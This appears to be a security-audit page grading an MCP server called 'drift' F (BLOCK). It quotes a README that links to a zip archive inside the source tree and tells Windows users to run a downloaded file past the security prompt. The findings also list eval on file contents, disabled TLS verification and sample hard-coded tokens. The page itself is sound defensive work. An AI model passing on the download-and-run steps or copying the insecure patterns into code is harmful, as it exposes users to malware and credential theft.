driftBLOCK
Detect architecture drift in AI-assisted codebases with deterministic checks and clear signals
Overview
From the repository's own README, as read at the audited commit. Badges and raw HTML are left out.
[](https://raw.githubusercontent.com/lungenemptynester200/drift/main/src/drift/Software-2.7.zip)
🌟 What drift does
drift checks code for signs that the design is starting to break down. It looks for:
- repeated patterns that no longer match
- places where the code does not follow the intended structure
- near-duplicate code that can cause bugs later
- changes from AI-generated code that add noise or split patterns
If you use AI tools, drift helps you spot when the code starts to wander from the shape you want.
💻 What you need
Before you run drift on Windows, make sure you have:
- Windows 10 or later
- Python 3.10 or newer
- Git, if you want to copy the project from GitHub
- A command window, such as PowerShell or Windows Terminal
If you plan to scan a project, keep the source code folder on your computer as well.
📥 Download drift
Visit this page to download or get the project files:
If the page includes a release, download the Windows file from there. If it gives you the source files, copy them to your computer first and then run the tool from the project folder.
🪟 Install on Windows
Option 1: Use a release file
If the GitHub page gives you a Windows file, do this:
- Download the file to your computer.
- Open the Downloads folder.
- Double-click the file to start it.
- If Windows shows a security prompt, choose the option to run it.
- Follow the on-screen steps.
Option 2: Run from the project folder
If the GitHub page gives you the source files, do this:
- Download the project as a ZIP file.
- Right-click the ZIP file and choose Extract All.
- Open the extracted folder.
- Open PowerShell in that folder.
- Run the command shown in the project files to start drift.
🛠️ First-
ce5bf7f6a4a3OBSERVED · 2026-10-11Connect
Built from this server's own package name, version and transport as found in its source — not copied from anyone's documentation, so it cannot drift against a page we do not control. Replace the environment placeholders with a token scoped to the least it needs.
claude mcp add workspace-boundaries-fixture --env API_KEY=${API_KEY} --env GITHUB_TOKEN=${GITHUB_TOKEN} --env KEY=${KEY} --env SECRET_KEY=${SECRET_KEY} -- npx -y workspace-boundaries-fixture{
"mcpServers": {
"workspace-boundaries-fixture": {
"command": "npx",
"args": [
"-y",
"workspace-boundaries-fixture"
],
"env": {
"API_KEY": "${API_KEY}",
"GITHUB_TOKEN": "${GITHUB_TOKEN}",
"KEY": "${KEY}",
"SECRET_KEY": "${SECRET_KEY}"
}
}
}
}Exposed tools (1)
1 read · 0 write · 0 destructive.
| Tool | Risk | Description |
|---|---|---|
drift_explain | read | Explain a drift signal, rule, or error code. |
Trust audit
BLOCKgrade F · trust 41/100 Do not install this without reading the findings. The audit found something that could harm you or your machine.
| Layer | What it checks | Result |
|---|---|---|
| L0 | Provenance & inventory | WARN |
| L1 | Static analysis of the code | FAIL |
| L2 | Instruction surface (what it tells the agent) | PASS |
| L3 | Class-specific surface | PASS |
| L4 | Behavioural (sandbox) | SKIPPED |
What the source does
- Filesystem
- declared (5 observation(s))
- Network
- declared (13 observation(s))
- Shell
- declared (2 observation(s))
- Dependencies
- pinned
- Secrets in source
- found
Findings (25)
" return eval(f.read()) # noqa: S307\n",
"requests.get(..., verify=False) patterns in non-test code."
"verify=False disables TLS certificate validation, "
"Remove verify=False or set verify=True. "
drift_self_v2_full.json
pwbs_backend_v2_full.json
vhs.1.gz
Software-2.7.zip
importlib.import_module(f"drift.signals.{_mod_name}")print(f" {'Signal':<30s} {'Full-set':>8s} {'Mean':>8s} {'σ':>8s} {'Δmax':>8s}")"postgresql://admin:S3cr3tP@ssw0rd123!"
api_key = "sk-abcdefghijklmnopqrstuvwxyz123456"
token = "ghp_ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefgh"
GITHUB_TOKEN = "ghp_ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefgh"
api_token: str = "ghp_ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456"
API_TOKEN = "ghp_ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefgh"
SECRET_KEY = "ghp_ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefgh"
token = "ghp_ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefgh"
private_key = """-----BEGIN RSA PRIVATE KEY-----
.detect-secrets.cfg
.markdownlint-cli2.jsonc
.pre-commit-config.yaml
.pre-commit-hooks.yaml
.secrets.baseline
CLAUDE.md
Gates applied: no_behavioural_pass.
ce5bf7f6a4a3full audit observations/trust-audit/mcp-server/lungenemptynester200__drift.json · Report an issue / request a re-scanAudit history
Every audit this server has had. A grade with a past is a grade somebody is still checking.
| Date | Source | Verdict | Grade | Score | Change |
|---|---|---|---|---|---|
| 2026-10-11 | ce5bf7f6a4a3 | BLOCK | F | 41 | first audit |
Questions
What is the drift MCP server?
Detect architecture drift in AI-assisted codebases with deterministic checks and clear signals
What tools does drift expose?
1 in total: 1 read-only, 0 that write, and 0 that can delete or overwrite. Every one is listed on this page with its risk.
Is drift safe to connect to an agent?
No — not without reading the findings first. The audit graded it F (41/100) and found 4 critical or high issues in the source. Each one is listed on this page with the file and line it is on.
What credentials does drift need?
It reads API_KEY, GITHUB_TOKEN, KEY and SECRET_KEY from the environment. Give it a token scoped to the least it needs — an agent that can be talked into calling a tool can be talked into calling it with your credentials.
How does drift run?
It speaks stdio, so it runs as a local process your client starts. It is published on npm as workspace-boundaries-fixture.
How current is this page?
The grade is for one exact copy of the source (ce5bf7f6a4a3), read on 2026-10-11. The repository is watched and re-audited when it changes.